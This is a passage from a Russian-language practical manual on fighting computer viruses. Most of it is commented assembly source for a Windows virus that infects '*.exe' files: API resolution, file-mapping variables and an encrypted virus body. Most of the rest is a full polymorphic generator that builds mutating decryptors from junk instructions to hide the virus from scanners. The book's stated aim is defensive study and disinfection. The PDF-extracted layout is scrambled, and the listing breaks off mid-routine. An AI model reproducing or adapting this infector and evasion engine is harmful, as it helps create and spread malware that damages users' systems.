Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Технологии борьбы с компьютерными вирусами. Практическое пособие

.pdf
Скачиваний:
0
Добавлен:
15.08.2026
Размер:
1 Мб
Скачать

Windows вирусы

241

 

 

 

add

eax,edx

; Получаем адрес памяти

push

ecx

; Сохраним количество указателей

push

edi

; Сохраним указатель на

 

 

; ординалы

xchg

esi,eax

; В esi указатель на имя

 

 

; найденной функции

lea

edi,[ebp+GetProcAddress]

; Указываем на имя нужной

 

 

; нам фунции

mov

ecx,GetProcSize

; Размер строки

repe

cmpsb

; Сравниваем

xchg

esi,eax

; Восстановим значение esi

pop

edi

; Восстановим указатель на

 

 

; ординалы

pop

ecx

; Восстановим количество

 

 

; указателей

je

Found

; Нашли!

inc

edi

; Нет - пробуем следующую

 

 

; функцию

inc

edi

; Указатель на следующий

 

 

; ординал

loop

Search

 

jmp

Exit

 

Found:

 

 

xor

eax,eax

 

mov

ax,word ptr [edi]

; Возьмем ординал

shl

eax,2

; Умножим на размер ординала

mov

esi,[ebx+1Ch]

; Указатель на таблицу адресов

add

esi,edx

; Получим адрес начала

 

 

; таблицы адресов

add

esi,eax

; и адрес нужной функцции

lodsd

 

; Прочитаем,

add

eax,edx

; добавим адрес kernel'a

mov

4 ptr [ebp+GetProcAddr],eax

; Ссохраним

Exit:

 

 

ret ;----------------------------------------------

GETAPI:

push

eax

push

dword ptr [ebp+ offset KernelAddr]

call

[ebp + offset GetProcAddr]

jmp

eax

;Кладем в стек имя функции

;Кладем в стек адрес kernel'a

;Получаем адрес необходимой

;нам функции

;Вызываем функцию

ret

 

 

; Возврат из функции

;----------------------------------------------

 

 

 

mask1

db '*.exe',0

; Маска для поиска

KernelAddr

dd

0

 

GetProcAddr

dd

0

 

GetProcAddress

db

'GetProcAddress',0

 

GetProcSize

equ

$-GetProcAddress

 

FindFirstFileA

db "FindFirstFileA",0

 

CreateFileA

db "CreateFileA",0

 

242

 

 

 

Windows вирусы

 

 

 

 

CreateFileMappingA

db

"CreateFileMappingA",0

 

MapViewOfFile

 

db

"MapViewOfFile",0

 

UnmapViewOfFile

 

db

"UnmapViewOfFile",0

 

CloseHandle

 

db

"CloseHandle",0

 

SetFilePointer

 

db

"SetFilePointer",0

 

SetEndOfFile

 

db

"SetEndOfFile",0

 

FindNextFileA

 

db

"FindNextFileA",0

 

FindClose

 

db

"FindClose",0

 

GetTickCount

 

db

"GetTickCount",0

 

save

 

db

0h

 

oldip

 

dd

offset Exit1

; Для первого поколения вируса

 

 

 

 

; необходимо это смещение

imagebase

 

dd

0h

;

finish:

 

 

 

 

 

 

dw

700 dup(0)

; Место для шифрованной версии

 

 

 

 

; вируса

find_file

 

db

313 dup(?)

; Тут идут данные, которые в

size2read

 

dd

0h

; тело вируса не входят

fHnd

 

dd

0h

;

mHnd

 

dd

0h

;

memory

 

dd

0h

;

mapaddress

 

dd

0h

;

PEheader

 

dd

0h

 

filesize

 

dd

0h

 

imagesize

 

dd

0h

 

newip

 

dd

0h

 

Fhandle

 

dd

0h

 

;----------------------------------------------

 

 

 

 

.code

 

 

 

 

Exit1:

 

 

 

 

push 0

 

 

; Сюда передается управление

call ExitProcess

; в первом поколении вируса

;----------------------------------------------

 

 

 

 

end

start

 

 

;----------------------------------------------

 

 

 

 

Мы разобрали шифрованный паразит — вирус под операционные системы семейства Windows. Как вы уже убедились, динамическое шифрование ничем кардинально не отличается от того, которое мы использовали при написании шифрованных вирусов под DOS.

Алгоритм лечения данного вируса такой же, как и в простом PE паразите, рассмотренном в главе 3.1. Единственной крупной сложностью является анализ данного вируса.

5.6.Полиморфизм

Âданной главе мы разберем полноценный полиморфный генератор и воспользуемся им для маскировки уже написанного нами Windows-паразита. Главной сложностью в написании полиморфного вируса под Windows-системы заключается в том, что программа не может менять себя после запуска (менять на

Windows вирусы

243

 

 

диске). Писать блоковый полиморфный генератор мы не будем, — на это у нас есть несколько существенных причин. Первая причина — это его существенный размер, вторая — это то, что генерация «мусорных» инструкций сильно ограни- чена. А самая главная причина — если использовать мутацию регистров, то обьем и без того большого генератора вырастет раза в 3—4. Из-за этих причин данный вид полиморфных генераторов не получил особого распространения.

Полиморфный генератор — это модуль, который зашифровывает код и добавляет к нему расшифровщик. Расшифровщик в идеале не должен ни разу повториться. Данные операции позволяют сделать код мутирующим, т. е. он каждый раз выглядит по новому. Функциональность же кода остается старой.

Начнем подготовку к написанию полиморфного генератора. Вначале мы должны определить, какой вид будет иметь болванка расшифровщика. То есть под нее должен будет подойти любой наш сгенерированный расшифровщик. Итак, болванка расшифровщика будет иметь следующий вид:

;——————————————————————————-----------------------

;Здесь будут мусорные инструкции mov r1,code_start-1

;Здесь будут мусорные инструкции

crypt: inc r1

;Здесь будут мусорные инструкции mov r2,decrypt_key

;Здесь будут мусорные инструкции xor [r1],r2

;Здесь будут мусорные инструкции cmp r1,code_end-code_start

;Здесь будут мусорные инструкции

jnz crypt ;——————————————————————————-----------------------

Здесь под регистром r1 подразумевается 32 битовый регистр, который может быть одним из: esi, edi, ebx.

Под регистром r2 подразумевается 8 битовый регистр, который может быть одним из: al, cl, dl.

В качестве «мусорных» инструкций будут использованы как однобайтовые инструкции так и двухбайтовые инструкции.

Теперь разберем переменные:

code_start — это начало криптуемого кода;

code_end — это соответственно конец криптуемого кода; decrypt_key — это ключ для криптования/декриптования.

Полиморфный генератор мы оформим, как файл ассемблерного листинга, но он будет содержать только сам генератор и для подключения его к вирусу необходимо будет вставить инструкцию: include pgs2.asm.

244

Windows вирусы

 

 

Так же при вызове самого генератора нужно будет соответствующим образом заполнить регистры:

1)виртуальное начало программы в edx;

2)начало криптуемого кода в eax;

3)размер криптуемого кода в ecx.

После этого идет непосредственно сам вызов полиморфного генератора. И в качестве результатов мы получаем:

1)указатель на буфер содержащий декриптор + криптованный код в edx;

2)размер этого буфера в ecx.

Рассмотрим комментированный листинг полиморфного генератора:

;----------------------------------------------

 

 

 

 

 

;

 

[POLYMORPHIC GENERATOR OF SHIT V. 0.1]

;

 

 

 

 

 

;

#########

########

########

;

###########

##########

##########

;

##### ######

######

##

###### ##

;

#####

#####

#####

 

#####

;

#####

#####

#####

 

########

;

###########

##### ######

########

;

#########

##### ######

#####

;

#####

 

#####

###

#####

;

#####

 

###########

###########

;

#####

 

##### ###

#########

;

 

 

 

 

 

;

 

 

FOR MS WINDOWS

;

 

 

 

 

 

;----------------------------------------------

 

 

 

 

 

polym:

 

 

 

 

 

 

push ebp

 

; Сохраняем в стэке ebp

 

call delta0

 

;

 

 

delta0:

 

 

 

 

 

 

pop ebp

 

; Получаем дельта смещение

 

sub ebp,offset delta0

;

 

 

 

push edi esi

 

; Сохраняем в стэке esi, edi

 

mov [ebp+sz_code],ecx

; Сохраняем в переменных

 

mov [ebp+st_code],edx

; начало кода, размер кода,

 

mov [ebp+begin_code],eax ; виртуальное начало программы

 

lea edi,[ebp+buff]

; И указатель на buff кладем в edi

;----------------------------------------------

 

 

 

 

 

work:

 

 

 

 

 

 

mov eax,18

 

;Кладем в eax размер декриптора, но без мусорных байт

 

xchg [ebp+razmer],eax

; положим размер чистого декриптора в переменную

 

call dliny

 

; Вызываем генератор длин, это для мусорных байт

 

add [ebp+razmer],ecx

; И все длины добавляем к чистому размеру декриптора

 

mov al,1

 

; Генрерируем первую партию мусорных инструкций

 

call musor

 

; И помещаем в буфер

 

mov dl,0b0h

 

;

 

 

Windows вирусы

 

 

245

 

 

 

 

 

 

try:

 

 

 

 

 

 

call random

 

 

; В данном блоке инструкций мы выбираем регистр

 

and al,5

 

 

; для дескриптора - r1

 

add al,10

 

 

;

 

cmp al,0ah

 

 

;

 

je

try

 

 

; И формируем следующую инструкцию

 

cmp

al,0ch

 

 

;

 

je try

 

 

; mov r1,code_start-1

 

cmp al,0dh

 

 

;

 

je try

 

 

;

 

add dl,al

 

 

;

 

xchg al,dl

 

 

;

 

stosb

 

 

; Регистр выбран и контрольный байт помещаем в buff

 

push eax eax

 

; Сохраняем в стэке eax дважды

 

mov eax,[ebp+razmer]

; Высчитываем и кладем в буфер смещение

 

mov

edx,[ebp+st_code]

;

 

add

eax,edx

 

 

 

 

dec eax

 

 

;

 

stosd

 

 

; На криптуемый код - 1

;----------------------------------------------

 

pop ecx

 

 

; Восстановим контрольный байт инструкции в ecx

 

mov al,5

 

 

; Генерируем и помещаем в buff

 

call musor

 

 

; Пятую партию мусорных инструкций

 

add cl,0f0h-0b0h

; Здесь мы определяем,

 

cmp cl,0ffh

 

 

; какой регистр используется

 

je

di2

 

 

; И переходим к генерации

 

cmp cl,0feh

 

 

; инструкции

 

je si2

 

 

;

bx2:

 

 

 

 

 

 

mov al,43h

 

 

;

 

stosb

 

 

; inc r1

 

jmp next3

 

 

;

di2:

mov al,47h

 

 

; Помещаем инструкцию в buff

 

stosb

 

 

;

 

jmp next3

 

 

;

si2:

mov al,46h

 

 

;

 

stosb

 

 

;

 

jmp next3

 

 

;

;----------------------------------------------

 

razmer

dd

18

;

 

begin_code dd

0

;

 

st_code

dd

0

; Переменные

 

sz_code

dd

0

;

 

chislo

db

2

;

 

key

 

db

0

;

;----------------------------------------------

next3:

 

 

 

 

 

 

mov al,2

 

 

; Генерируем и помещаем в buff

246

 

Windows вирусы

 

 

call musor

; очередную (2) партию мусорных инструкций

call random

;

 

and al,2

; Выбираем случайным образом регистр r2

add al,0b0h

; И помещаем контрольный байт в buff

stosb

;

 

xor edx,edx

;

 

xchg dl,al

;

 

call random

; Случайным образом выбираем decrypt_key

stosb

; И строим:

mov r2,decrypt_key

mov [ebp+key],al

; Сохраняем ключ криптования в переменной

;----------------------------------------------

 

mov al,3

; Генерируем и помещаем в buff

call musor

; очередную (3) партию мусорных инструкций

mov al,30h

;

 

stosb

; Формируем инструкцию XOR

 

; с выбранным в начале регистром

pop ecx

;

 

cmp cl,0bbh

;

 

je bx1

; xor [r1],r2

 

cmp cl,0beh

;

 

je si1

;

 

;----------------------------------------------

 

di1:

;

 

cmp dl,0b0h

 

 

jne not_al1

 

 

mov al,07h

;

 

stosb

;

 

jmp next

 

 

not_al1:

 

 

cmp dl,0b1h

 

 

jne not_cl1

 

 

mov al,0fh

;

 

stosb

;

 

jmp next

;

 

not_cl1:

 

 

mov al,17h

;

 

stosb

;

 

jmp next

;

 

;----------------------------------------------

 

bx1:

;

 

cmp dl,0b0h

 

 

jne not_al2

 

 

mov al,03h

;

 

stosb

;

 

jmp next

 

 

not_al2:

 

 

cmp dl,0b1h

 

 

jne not_cl2

 

 

mov al,0bh

;

 

stosb

;

 

Windows вирусы

247

 

 

jmp next

;

not_cl2:

 

mov al,13h

;

stosb

;

jmp next

;

;----------------------------------------------

 

si1:

;

cmp dl,0b0h

 

jne not_al3

 

mov al,06h

;

stosb

;

jmp next

 

not_al3:

 

cmp dl,0b1h

 

jne not_cl3

 

mov al,0eh

;

stosb

;

jmp next

;

not_cl3:

 

mov al,16h

;

stosb

;

jmp next

;

;----------------------------------------------

 

next:

 

mov al,4

; Генерируем и помещаем в buff

call musor

; очередную (4) партию мусорных инструкций

 

;

mov al,81h

; Формируем инструкцию сравнения

stosb

; Все мы расшифровали или нет ?

mov al,cl

; cmp r1,(code_end-code_begin)

add al,0f0h-0b0h

 

stosb

;

mov eax,[ebp+sz_code]

;

add eax,buff-polym

 

add eax,[ebp+st_code]

 

stosd

;

;----------------------------------------------

 

next2:

 

mov al,6

; Генерируем и помещаем в buff

call musor

; очередную (6) партию мусорных инструкций

mov al,75h

;

stosb

; Вычисляем длину условного

mov al,0ffh

; перехода и помещаем в

sub al,[ebp+len6]

; буфер: jnz crypt

sub al,[ebp+len4]

;

sub al,[ebp+len2]

;

sub al,[ebp+len3]

;

sub al,12

;

stosb

 

;----------------------------------------------

 

248

 

Windows вирусы

 

 

 

 

mov ecx,[ebp+sz_code]

; Помещаем в ecx размер шифруемого кода

 

add ecx,buff-polym

; Добавляем к ecx размер полиморфного генератора

 

push ecx

; Сохраняем ecx

 

mov esi,[ebp+begin_code]

; Кладем в esi начало шифруемого кода

try2:

 

 

 

lodsb

;

 

xor al,[ebp+key]

;

 

stosb

;

 

dec ecx

;

 

cmp cx,0

;

 

jne try2

;

 

lea edx,[ebp+buff]

;

 

pop ecx

;

 

add ecx,[ebp+razmer]

;

 

pop esi edi ebp

;

 

ret

;

;----------------------------------------------

;

[ГЕНЕРАТОР МУСОРНЫХ ИНСТРУКЦИЙ]

;----------------------------------------------

musor:

 

 

 

push edx

; Сохраняем в стэке регистры,

 

push ecx

; которые будут меняться

 

xor ecx,ecx

; Обнуляем регистр ecx

 

cmp al,1

;

 

jne dl2

; В данном большом блоке инструкций мы

 

mov cl,[ebp+len1]

; определяем, какая серия мусорных команд

 

jmp try3

; будет генерироваться (если быть

dl2:

cmp al,2

; более точным, то какое количество мусорных

 

jne dl3

; байт мы будем генерировать)

 

mov cl,[ebp+len2]

;

 

jmp try3

;

dl3:

cmp al,3

;

 

jne dl4

;

 

mov cl,[ebp+len3]

;

 

jmp try3

;

dl4:

 

;

 

cmp al,4

;

 

jne dl5

;

 

mov cl,[ebp+len4]

;

 

jmp try3

;

dl5:

 

;

 

cmp al,5

;

 

jne dl6

;

 

mov cl,[ebp+len5]

;

 

jmp try3

;

dl6:

 

;

 

mov cl,[ebp+len6]

;

try3:

 

;

 

push esi

; Сохраняем esi в стэке

two_byte:

 

;

 

cmp cl,2

; Проверяем: если количество генерируемых байт меньше

Windows вирусы

 

249

 

 

 

 

jl one_byte

; чем 2, то переходим к генерации 1 байтового мусора

 

lea esi,[ebp+two_byte_opcode] ; Кладем в esi смещение на блок 2 байтовых мусорных

 

 

; инструкций

 

call random

; Вызываем генератор случайных чисел

 

and eax,6

; Количество инструкций равно 7 и поэтому мы

 

 

; ограничиваем случайное число интервалом [0..6]

 

mul [ebp+chislo]

; Затем мы умножаем это число на 2, т.к. инструкции

 

 

; двухбайтовые

 

add esi,eax

; Добавляем к esi полученный результат, таким

 

 

; образом esi указывает на какую то инструкцию из

 

 

; (случайно выбранную) таблицы two_byte_opcode

 

movsw

; Помещаем ее в buff

 

sub ecx,2

; Отнимаем от ecx длину инструкцию

 

jmp one_byte

; Переходим к генерации однобайтовых мусорных

 

 

; Инструкций

two_byte_opcode:

; Таблица двухбайтовых мусорных инструкций

 

mov eax,eax

;

 

 

mov ebx,ebx

;

 

 

mov edi,edi

;

 

 

mov al,al

;

 

 

mov bl,bl

;

 

 

mov bh,bh

;

 

 

db 0ebh,00h

; Вырожденный jmp (jmp $+2)

one_byte:

 

 

 

 

lea esi,[ebp+one_byte_opcode]

; Генерация однобайтовых

 

call random

; мусорных инструкций аналогична

 

and eax,3

; генерации двух байтовых мусорных

 

add esi,eax

; инструкций

 

cmp ecx,0

;

 

 

je ending

;

 

 

movsb

;

 

 

dec ecx

;

 

 

jmp two_byte

;

 

ending:

 

 

 

 

pop esi

; Восстанавливаем регистры

 

pop ecx

; из стэка

 

pop edx

;

 

 

ret

; Выход из процедуры генерации мусорных инструкций

 

one_byte_opcode db 0f9h,09bh,0fch,90h

 

 

; Выше расположена таблица однобайтового мусора

;----------------------------------------------

;

[ГЕНЕРАТОР ДЛИН МУСОРНЫХ СЕРИЙ]

;----------------------------------------------

dliny:

 

 

 

rep1:

 

;

 

 

call random

;

 

 

and al,0ah

; Данный блок инструкций наиболее

 

cmp al,0

; легок для понимания.

 

je rep1

; Здесь генерируется 6 случайных чисел в

 

mov [ebp+len1],al

; интервале [0..10]

250

Windows вирусы

 

 

rep2:

; Затем они сохраняются в теле полиморфного

call random

; генератора

and al,0ah

;

cmp al,0

;

je rep2

;

mov [ebp+len2],al

;

rep3:

;

call random

;

and al,0ah

;

cmp al,0

;

je rep3

;

mov [ebp+len3],al

;

rep4:

;

call random

;

and al,0ah

;

cmp al,0

;

je rep4

;

mov [ebp+len4],al

;

rep5:

;

call random

;

and al,0ah

;

cmp al,0

;

je rep5

;

mov [ebp+len5],al

;

rep6:

;

call random

;

and al,0ah

;

cmp al,0

;

je rep6

;

mov [ebp+len6],al

;

xor ecx,ecx

; Затем здесь обнуляется регистр ecx

mov cl,[ebp+len1]

; После этого все

add cl,[ebp+len2]

; длины прибавляются и помещаются в регистре cl

add cl,[ebp+len3]

;

add cl,[ebp+len4]

; cl=len1+len2+len3+len4+len5+len6

add cl,[ebp+len5]

;

add cl,[ebp+len6]

;

ret

; Возврат из подпрограммы

;----------------------------------------------

len1 db 0

;

len2 db 0

; Здесь в коде полиморфного генератора

len3 db 0

; храняться длины мусорных инструкций

len4 db 0

;

len5 db 0

;

len6 db 0

;

;----------------------------------------------

random:

; Данная подпрограмма генерирует случайное число

 

; И она должна быть локализована под вызов WIN API

push edx ecx

;

db 0fh,031h

; rdtsc

rcl eax,2

;

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]